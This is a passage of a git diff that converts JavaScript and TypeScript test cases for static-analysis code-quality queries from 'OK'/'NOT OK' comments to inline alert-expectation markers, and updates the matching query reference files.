+    "".replace("foo\[bar", ""); // $ Alert
+    "".replace("\[", ""); // $ Alert
+    "".replace("\]", ""); // $ Alert
+    "".replace("\(", ""); // $ Alert
+    "".replace("\)", ""); // $ Alert
+    "".replace("\*", ""); // $ Alert
+    "".replace("\+", ""); // $ Alert
+    "".replace("\?", ""); // $ Alert
+    "".replace("\{", ""); // $ Alert
+    "".replace("\}", ""); // $ Alert
+    "".replace("\|", ""); // $ Alert
+    "".replace("\^", ""); // $ Alert
+    "".replace("\$", ""); // $ Alert
+    "".replace("[a-zA-Z123]+", ""); // $ Alert
+    "".replace("[a-z]+", ""); // $ Alert
+    "".replace("[a-z]*", ""); // $ Alert
+    "".replace("[0-9_-]+", ""); // $ Alert
+    "".replace("[^a-z]+", ""); // $ Alert
+    "".replace("foo[^a-z]+bar", ""); // $ Alert
 
     // shapes
-    f().replace("/foo/i", x);
+    f().replace("/foo/i", x); // $ Alert
     var v1 = "/foo/i";
-    f().replace(v1, x);
-    o.p.q.replace("/foo/i", x);
+    f().replace(v1, x); // $ Alert
+    o.p.q.replace("/foo/i", x); // $ Alert
 
     // examples in the wild
-    "".replace('^\s+|\s+$', '');
-    "".replace("[^a-zA-Z0-9 ]+", "");
+    "".replace('^\s+|\s+$', ''); // $ Alert
+    "".replace("[^a-zA-Z0-9 ]+", ""); // $ Alert
 
     // non-replace methods
-    "".split("/foo/i");
-    "".split("/foo/i", x);
+    "".split("/foo/i"); // $ Alert
+    "".split("/foo/i", x); // $ Alert
 }
 
 function OK() {
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.expected b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.expected
index 990eaa36148f..1ce095b51938 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.expected
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.expected
@@ -2,5 +2,5 @@
 | namespace.ts:23:1:23:3 | g() | Callee is not a function: it has type object. |
 | optional-chaining.js:3:5:3:7 | a() | Callee is not a function: it has type null. |
 | optional-chaining.js:7:5:7:7 | b() | Callee is not a function: it has type undefined. |
-| super.js:11:5:11:11 | super() | Callee is not a function: it has type number. |
+| super.js:10:5:10:11 | super() | Callee is not a function: it has type number. |
 | unreachable-code.js:5:9:5:11 | f() | Callee is not a function: it has type undefined. |
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.js b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.js
index dba61f9ff1d3..bdd3414222ea 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.js
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.js
@@ -8,6 +8,6 @@ function processResponse(response) {
     if (error)
        throw error;
   } else {
-    error("Unexpected response status " + response.status);
+    error("Unexpected response status " + response.status); // $ Alert
   }
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.qlref b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.qlref
index 23c91fb3f00d..2ef227101966 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.qlref
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/SuspiciousInvocation.qlref
@@ -1 +1,2 @@
-Expressions/SuspiciousInvocation.ql
\ No newline at end of file
+query: Expressions/SuspiciousInvocation.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/eval.js b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/eval.js
index dfc03927130f..db14aca9ea65 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/eval.js
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/eval.js
@@ -1,12 +1,12 @@
 function foo() {
     var f;
     eval("f = alert");
-    f("Hi"); // OK: initialised by eval
+    f("Hi"); // OK - initialised by eval
 }
 
 function bar() {
     var g;
-    g();    // NOT OK, but not currently flagged
+    g();    // $ MISSING: Alert
     eval("g = alert");
 }
 
@@ -15,10 +15,10 @@ function baz() {
     function inner(b) {
         if (b) {
             inner(false);
-            g();  // OK: initialised by eval below
+            g();  // OK - initialised by eval below
         } else {
             eval("g = alert");
         }
     }
     inner(true);
-}
\ No newline at end of file
+}
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/namespace.ts b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/namespace.ts
index c1060e342d37..f03a7ca7150d 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/namespace.ts
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/namespace.ts
@@ -5,20 +5,20 @@ namespace f {
   export function inner() {}
 }
 
-f(); // OK
-f.inner(); // OK
+f();
+f.inner();
 
 class C {}
 namespace C {
   export function inner() {}
 }
 
-new C(); // OK
-C.inner(); // OK
+new C();
+C.inner();
 
 namespace g {
   export function inner() {}
 }
 
-g(); // NOT OK
-g.inner(); // OK
+g(); // $ Alert
+g.inner();
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/optional-chaining.js b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/optional-chaining.js
index 9be73a4dde52..acbfddcf53c7 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/optional-chaining.js
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/optional-chaining.js
@@ -1,9 +1,9 @@
 (function(){
     var a = null;
-    a();
+    a(); // $ Alert
     a?.();
 
     var b = undefined;
-    b();
+    b(); // $ Alert
     b?.();
 });
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/super.js b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/super.js
index 17152efab227..69754fb386dc 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/super.js
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/super.js
@@ -1,13 +1,12 @@
 class A extends null {
   constructor() {
-    // OK: calls `Function.prototype`
+    // OK - calls `Function.prototype`
     super();
   }
 }
 
 class B extends 42 {
   constructor() {
-    // NOT OK
-    super();
+    super(); // $ Alert
   }
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/unreachable-code.js b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/unreachable-code.js
index b8b89198c46f..b3bd335ede66 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/unreachable-code.js
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousInvocation/unreachable-code.js
@@ -2,7 +2,7 @@
     var getF = function(){}
     var f = getF();
     (function () {
-        f();
+        f(); // $ Alert
     });
 });
 
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.js b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.js
index 4d9aaf9e67dc..5339b6e8903d 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.js
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.js
@@ -1,7 +1,7 @@
 function f() {
   var result;
   res = computeInterestingResult();
-  return result.value;
+  return result.value; // $ Alert
 }
 
 (function(_window) {
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.qlref b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.qlref
index df93925770dd..26f1debdfefe 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.qlref
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/SuspiciousPropAccess.qlref
@@ -1 +1,2 @@
-Expressions/SuspiciousPropAccess.ql
\ No newline at end of file
+query: Expressions/SuspiciousPropAccess.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/export_equals_client.ts b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/export_equals_client.ts
index 5b552a15bf2c..0375d6e6327c 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/export_equals_client.ts
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/export_equals_client.ts
@@ -1,5 +1,5 @@
 import C from "./export_equals";
 
 function f() {
-  C.staticMethod(); // OK
+  C.staticMethod();
 }
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/export_import_client.ts b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/export_import_client.ts
index 5c6d9b12d92c..a9f9b5b9ed9a 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/export_import_client.ts
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/export_import_client.ts
@@ -1,5 +1,5 @@
 import { importExport } from "./export_import";
 
 function test() {
-  let f = importExport.prop; // OK
+  let f = importExport.prop;
 }
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/optional-chaining.js b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/optional-chaining.js
index fa6003ad7959..f755be1ded02 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/optional-chaining.js
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/optional-chaining.js
@@ -1,9 +1,9 @@
 (function(){
     var a = null;
-    a.p;
+    a.p; // $ Alert
     a?.p;
 
     var b = undefined;
-    b.p;
+    b.p; // $ Alert
     b?.p;
 });
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/tst.js b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/tst.js
index 114fbec93fb4..32e703fc7a4d 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/tst.js
@@ -29,5 +29,5 @@
 });
 
 (function(){
-    function a(){return null;} a(1)[0];
+    function a(){return null;} a(1)[0]; // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/tst2.ts b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/tst2.ts
index 7cbadb3b5b0a..93ac4836644c 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/tst2.ts
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/tst2.ts
@@ -16,9 +16,9 @@ C.foo = 3;
 
 namespace N {
   var x;
-  x.p = 5;
+  x.p = 5; // $ Alert
 
-  var q = M.Color.Blue; // OK
+  var q = M.Color.Blue;
 
   namespace M {
     export const enum Color { Blue }
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/typeassertion.ts b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/typeassertion.ts
index b4c6980c053c..e3de0b44305e 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/typeassertion.ts
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/typeassertion.ts
@@ -8,10 +8,10 @@ function f(x: Base[]) {
   if (x) {
     y = x[0] as Sub;
   }
-  y.field; // OK
+  y.field;
   
   var z = null as Sub;
-  z.field; // NOT OK
+  z.field; // $ Alert
 }
 
 f([new Sub()]);
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/typeoftype.ts b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/typeoftype.ts
index bd677367a9bf..7f0d7be210f7 100644
--- a/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/typeoftype.ts
+++ b/javascript/ql/test/query-tests/Expressions/SuspiciousPropAccess/typeoftype.ts
@@ -1,6 +1,6 @@
 function f() {
-  var y: typeof N.x // OK
-  var z = N.x // NOT OK (currently missed due to const enum workaround)
+  var y: typeof N.x
+  var z = N.x // $ MISSING: Alert - missed due to const enum workaround
   namespace N {
     export var x = 45
   }
diff --git a/javascript/ql/test/query-tests/Expressions/UnboundEventHandlerReceiver/UnboundEventHandlerReceiver.qlref b/javascript/ql/test/query-tests/Expressions/UnboundEventHandlerReceiver/UnboundEventHandlerReceiver.qlref
index 6d28236a2296..bcdab46394a1 100644
--- a/javascript/ql/test/query-tests/Expressions/UnboundEventHandlerReceiver/UnboundEventHandlerReceiver.qlref
+++ b/javascript/ql/test/query-tests/Expressions/UnboundEventHandlerReceiver/UnboundEventHandlerReceiver.qlref
@@ -1 +1,2 @@
-Expressions/UnboundEventHandlerReceiver.ql
\ No newline at end of file
+query: Expressions/UnboundEventHandlerReceiver.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/UnboundEventHandlerReceiver/tst.js b/javascript/ql/test/query-tests/Expressions/UnboundEventHandlerReceiver/tst.js
index 27409330cd38..f6039b673435 100644
--- a/javascript/ql/test/query-tests/Expressions/UnboundEventHandlerReceiver/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/UnboundEventHandlerReceiver/tst.js
@@ -5,7 +5,7 @@ class Component0 extends React.Component {
 
     render() {
         return <div>
-            <div onClick={this.bound_throughAutoBind}/> // OK
+            <div onClick={this.bound_throughAutoBind}/>
             </div>
     }
 
@@ -24,20 +24,20 @@ class Component1 extends React.Component {
     render() {
         var unbound3 = this.unbound3;
         return <div>
-            <div onClick={this.unbound1}/> // NOT OK
-            <div onClick={this.unbound2}/> // NOT OK
-            <div onClick={unbound3}/> // NOT OK
-            <div onClick={this.bound_throughBindInConstructor}/> // OK
-            <div onClick={this.bound_throughDeclaration}/> // OK
-            <div onClick={this.unbound_butNoThis}/> // OK
-            <div onClick={this.unbound_butNoThis2}/> // OK
-            <div onClick={(e) => this.unbound_butInvokedSafely(e)}/> // OK
-            <div onClick={this.bound_throughBindInMethod}/> // OK
-            <div onClick={this.bound_throughNonSyntacticBindInConstructor}/> // OK
-            <div onClick={this.bound_throughBindAllInConstructor1}/> // OK
-            <div onClick={this.bound_throughBindAllInConstructor2}/> // OK
-            <div onClick={this.bound_throughDecorator_autobind}/> // OK
-            <div onClick={this.bound_throughDecorator_actionBound}/> // OK
+            <div onClick={this.unbound1}/> { /* $ Alert */ }
+            <div onClick={this.unbound2}/> { /* $ Alert */ }
+            <div onClick={unbound3}/> { /* $ Alert */ }
+            <div onClick={this.bound_throughBindInConstructor}/>
+            <div onClick={this.bound_throughDeclaration}/>
+            <div onClick={this.unbound_butNoThis}/>
+            <div onClick={this.unbound_butNoThis2}/>
+            <div onClick={(e) => this.unbound_butInvokedSafely(e)}/>
+            <div onClick={this.bound_throughBindInMethod}/>
+            <div onClick={this.bound_throughNonSyntacticBindInConstructor}/>
+            <div onClick={this.bound_throughBindAllInConstructor1}/>
+            <div onClick={this.bound_throughBindAllInConstructor2}/>
+            <div onClick={this.bound_throughDecorator_autobind}/>
+            <div onClick={this.bound_throughDecorator_actionBound}/>
             </div>
     }
 
@@ -125,7 +125,7 @@ class Component2 extends React.Component {
 
     render() {
         return <div>
-            <div onClick={this.bound_throughClassDecorator_autobind}/> // OK
+            <div onClick={this.bound_throughClassDecorator_autobind}/>
             </div>;
     }
 
@@ -139,7 +139,7 @@ class Component3 extends React.Component {
 
     render() {
         return <div>
-            <div onClick={this.bound_throughIterator}/> // OK
+            <div onClick={this.bound_throughIterator}/>
             </div>
     }
 
@@ -159,7 +159,7 @@ class Component4 extends React.Component {
 
     render() {
         return <div>
-            <div onClick={this.bound_throughReactAutobind}/> // OK
+            <div onClick={this.bound_throughReactAutobind}/>
             </div>
     }
 
@@ -177,7 +177,7 @@ class Component5 extends React.Component {
 
     render() {
         return <div>
-            <div onClick={this.bound_throughSomeBinder}/> // OK
+            <div onClick={this.bound_throughSomeBinder}/>
             </div>
     }
 
diff --git a/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/UnclearOperatorPrecedence.qlref b/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/UnclearOperatorPrecedence.qlref
index 5a9a25e11186..d4887864cb1d 100644
--- a/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/UnclearOperatorPrecedence.qlref
+++ b/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/UnclearOperatorPrecedence.qlref
@@ -1 +1,2 @@
-Expressions/UnclearOperatorPrecedence.ql
\ No newline at end of file
+query: Expressions/UnclearOperatorPrecedence.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/tst.js b/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/tst.js
index 5490b0b4232a..9aa369d69b21 100644
--- a/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/tst.js
@@ -1,10 +1,10 @@
-x.f() & 0x0A != 0;   // NOT OK
-x.f() & (0x0A != 0); // OK
-x.f()  &  0x0A != 0; // OK
-x.f() & 0x0A!=0;     // OK
+x.f() & 0x0A != 0;   // $ Alert
+x.f() & (0x0A != 0);
+x.f()  &  0x0A != 0;
+x.f() & 0x0A!=0;
 
-x !== y & 1;         // NOT OK
+x !== y & 1;         // $ Alert
 
-x > 0 & x < 10;      // OK
+x > 0 & x < 10;
 
-a&b==c;          // NOT OK
+a&b==c;          // $ Alert
diff --git a/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/tst.min.js b/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/tst.min.js
index 800b7b08df2c..d39838870c81 100644
--- a/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/tst.min.js
+++ b/javascript/ql/test/query-tests/Expressions/UnclearOperatorPrecedence/tst.min.js
@@ -1 +1 @@
-a&b==c; // OK (minified file)
+a&b==c; // OK - minified file
diff --git a/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.html b/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.html
index 87f969c3e179..03ac0651186e 100644
--- a/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.html
+++ b/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.html
@@ -1,6 +1,6 @@
-<a href="javascript:'some-attribute-string-1'"></a> <!-- OK -->
-<a href="javascript:'some-attribute-string-2'; foo();"></a> <!-- OK -->
-<a href="javascript:'some-attribute-string-3'; function foo(){ 'some-function-string'; };"></a> <!-- OK --> <!-- BAD -->
+<a href="javascript:'some-attribute-string-1'"></a>
+<a href="javascript:'some-attribute-string-2'; foo();"></a>
+<a href="javascript:'some-attribute-string-3'; function foo(){ 'some-function-string'; };"></a> <!-- OK --> <!-- $ Alert -->
 <script>
-'some-script-string' // BAD
+'some-script-string' // $ Alert
 </script>
diff --git a/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.js b/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.js
index 0645f8821a1d..e86b7b9d95bc 100644
--- a/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.js
+++ b/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.js
@@ -1,51 +1,51 @@
-"use foo"; // NOT OK
-"use strict"; // NOT OK
+"use foo"; // $ Alert
+"use strict";
 
 function bad() {
-    "'use strict'"; // NOT OK
-    "use strict;"; // NOT OK
-    "'use strict';"; // NOT OK
-    "'use strict;'"; // NOT OK
-    "use-strict"; // NOT OK
-    "use_strict"; // NOT OK
-    "uses strict"; // NOT OK
-    "use struct;" // NOT OK
-    "Use Strict"; // NOT OK
-    "use bar"; // NOT OK
+    "'use strict'"; // $ Alert
+    "use strict;"; // $ Alert
+    "'use strict';"; // $ Alert
+    "'use strict;'"; // $ Alert
+    "use-strict"; // $ Alert
+    "use_strict"; // $ Alert
+    "uses strict"; // $ Alert
+    "use struct;" // $ Alert
+    "Use Strict"; // $ Alert
+    "use bar"; // $ Alert
 }
 
 function ignored() {
     var x = 42;
-    "use baz"; // OK: not a directive, positionally
+    "use baz"; // OK - not a directive, positionally
 }
 
 function good() {
-    "use strict"; // OK
-    "use asm"; // OK
-    "use babel"; // OK
-    "use 6to5"; // OK
-    "format cjs" // OK
-    "format esm"; // OK
-    "format global"; // OK
-    "format register"; // OK
-    "ngInject"; // OK
-    "ngNoInject"; // OK
-    "deps foo"; // OK
-    "deps bar"; // OK
-    "use server"; // OK
-    "use client"; // OK
+    "use strict";
+    "use asm";
+    "use babel";
+    "use 6to5";
+    "format cjs"
+    "format esm";
+    "format global";
+    "format register";
+    "ngInject";
+    "ngNoInject";
+    "deps foo";
+    "deps bar";
+    "use server";
+    "use client";
 }
 
 function data() {
-    "[0, 0, 0];"; // NOT OK
-    "[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];"; // NOT OK
+    "[0, 0, 0];"; // $ Alert
+    "[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];"; // $ Alert
 }
 
 function yui() {
-    "foo:nomunge"; // OK
-    "bar:nomunge, baz:nomunge,qux:nomunge"; // OK
-    ":nomunge"; // NOT OK
-    "foo(), bar, baz:nomunge"; // NOT OK
+    "foo:nomunge";
+    "bar:nomunge, baz:nomunge,qux:nomunge";
+    ":nomunge"; // $ Alert
+    "foo(), bar, baz:nomunge"; // $ Alert
 }
 
 function babel_typeof(obj) {
diff --git a/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.qlref b/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.qlref
index 2cd60100c59e..0fa5fe40535d 100644
--- a/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.qlref
+++ b/javascript/ql/test/query-tests/Expressions/UnknownDirective/UnknownDirective.qlref
@@ -1 +1,2 @@
-Expressions/UnknownDirective.ql
\ No newline at end of file
+query: Expressions/UnknownDirective.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/HeterogeneousComparison.qlref b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/HeterogeneousComparison.qlref
index 13b0e2a181cb..22ce4796bb35 100644
--- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/HeterogeneousComparison.qlref
+++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/HeterogeneousComparison.qlref
@@ -1 +1,2 @@
-Expressions/HeterogeneousComparison.ql
\ No newline at end of file
+query: Expressions/HeterogeneousComparison.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/UnneededDefensiveProgramming.qlref b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/UnneededDefensiveProgramming.qlref
index 13c05f1e74bd..98fc974827b4 100644
--- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/UnneededDefensiveProgramming.qlref
+++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/UnneededDefensiveProgramming.qlref
@@ -1 +1,2 @@
-Expressions/UnneededDefensiveProgramming.ql
+query: Expressions/UnneededDefensiveProgramming.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/UselessConditional.qlref b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/UselessConditional.qlref
index d29916245d6e..85ffff223221 100644
--- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/UselessConditional.qlref
+++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/UselessConditional.qlref
@@ -1 +1,2 @@
-Statements/UselessConditional.ql
\ No newline at end of file
+query: Statements/UselessConditional.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/global-module-definition.js b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/global-module-definition.js
index 8c61f38d1132..99e77e8cc491 100644
--- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/global-module-definition.js
+++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/global-module-definition.js
@@ -7,5 +7,5 @@ var Mod1;
     var Mod2;
     (function (Mod2) {
         Mod2.p = 42;
-    })(Mod2 || (Mod2 = {})); // NOT OK
+    })(Mod2 || (Mod2 = {}));
 });
diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/module-environment-detection.js b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/module-environment-detection.js
index 913684d6f6aa..1de67b231fa8 100644
--- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/module-environment-detection.js
+++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/module-environment-detection.js
@@ -20,5 +20,5 @@ if (typeof exports !== 'undefined') {
 
 (function(){
     var module;
-    if(typeof module === 'undefined'); // NOT OK
+    if(typeof module === 'undefined'); // $ Alert[js/unneeded-defensive-code]
 });
diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/regression.js b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/regression.js
index cfc6f1e6df71..adf17a8b3fd0 100644
--- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/regression.js
+++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/regression.js
@@ -6,10 +6,10 @@ function getDate() {
 		return null;
 	}
 	console.log(date);
-	return date && date.getTime(); // NOT OK
+	return date && date.getTime(); // $ Alert[js/unneeded-defensive-code]
 }
 
 function isNotNullOrString(obj) {
-  return obj != null && obj != undefined && // NOT OK
-      typeof obj != 'string'; 
+  return obj != null && obj != undefined && // $ Alert[js/unneeded-defensive-code]
+      typeof obj != 'string';
 }
diff --git a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst.js b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst.js
index ace5a3dd7ac8..7b4a4b799e06 100644
--- a/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst.js
+++ b/javascript/ql/test/query-tests/Expressions/UnneededDefensiveProgramming/tst.js
@@ -10,95 +10,95 @@
     var o_ = o;
     var x_ = x;
 
-    u_ = u_ || e; // NOT OK
-    n_ = n_ || e; // NOT OK
-    o_ = o_ || e; // NOT OK
+    u_ = u_ || e; // $ MISSING: Alert[js/unneeded-defensive-code]
+    n_ = n_ || e; // $ MISSING: Alert[js/unneeded-defensive-code]
+    o_ = o_ || e; // $ MISSING: Alert[js/unneeded-defensive-code]
     x_ = x_ || e;
 
-    u && u.p; // NOT OK
-    n && n.p; // NOT OK
-    o && o.p; // NOT OK
+    u && u.p; // $ Alert[js/unneeded-defensive-code]
+    n && n.p; // $ Alert[js/unneeded-defensive-code]
+    o && o.p; // $ Alert[js/unneeded-defensive-code]
     x && x.p;
 
-    u && u(); // NOT OK
-    n && n(); // NOT OK
-    o && o(); // NOT OK
+    u && u(); // $ Alert[js/unneeded-defensive-code]
+    n && n(); // $ Alert[js/unneeded-defensive-code]
+    o && o(); // $ Alert[js/unneeded-defensive-code]
     x && x();
 
-    !u || u.p; // NOT OK
-    !n || n.p; // NOT OK
-    !o || o.p; // NOT OK
+    !u || u.p; // $ Alert[js/unneeded-defensive-code]
+    !n || n.p; // $ Alert[js/unneeded-defensive-code]
+    !o || o.p; // $ Alert[js/unneeded-defensive-code]
     !x || x.p;
 
-    !!u && u.p; // NOT OK
-    !!n && n.p; // NOT OK
-    !!o && o.p; // NOT OK
+    !!u && u.p; // $ Alert[js/unneeded-defensive-code]
+    !!n && n.p; // $ Alert[js/unneeded-defensive-code]
+    !!o && o.p; // $ Alert[js/unneeded-defensive-code]
     !!x && x.p;
 
-    u != undefined && u.p; // NOT OK
-    n != undefined && n.p; // NOT OK
-    o != undefined && o.p; // NOT OK
+    u != undefined && u.p; // $ Alert[js/unneeded-defensive-code]
+    n != undefined && n.p; // $ Alert[js/unneeded-defensive-code]
+    o != undefined && o.p; // $ Alert[js/unneeded-defensive-code]
     x != undefined && x.p;
 
-    u == undefined || u.p; // NOT OK
-    n == undefined || n.p; // NOT OK
-    o == undefined || o.p; // NOT OK
+    u == undefined || u.p; // $ Alert[js/unneeded-defensive-code]
+    n == undefined || n.p; // $ Alert[js/unneeded-defensive-code]
+    o == undefined || o.p; // $ Alert[js/unneeded-defensive-code]
     x == undefined || x.p;
 
-    u === undefined || u.p; // NOT OK
-    n === undefined || n.p; // NOT OK
-    o === undefined || o.p; // NOT OK
+    u === undefined || u.p; // $ Alert[js/unneeded-defensive-code]
+    n === undefined || n.p; // $ Alert[js/unneeded-defensive-code]
+    o === undefined || o.p; // $ Alert[js/unneeded-defensive-code]
     x === undefined || x.p;
 
-    if (u) { // NOT OK
+    if (u) { // $ Alert[js/unneeded-defensive-code]
         u.p;
     }
-    if (n) { // NOT OK
+    if (n) { // $ Alert[js/unneeded-defensive-code]
         n.p;
     }
-    if (o) { // NOT OK
+    if (o) { // $ Alert[js/unneeded-defensive-code]
         o.p;
     }
     if (x) {
         x.p;
     }
 
-    u? u():_; // NOT OK
-    n? n(): _; // NOT OK
-    o? o(): _; // NOT OK
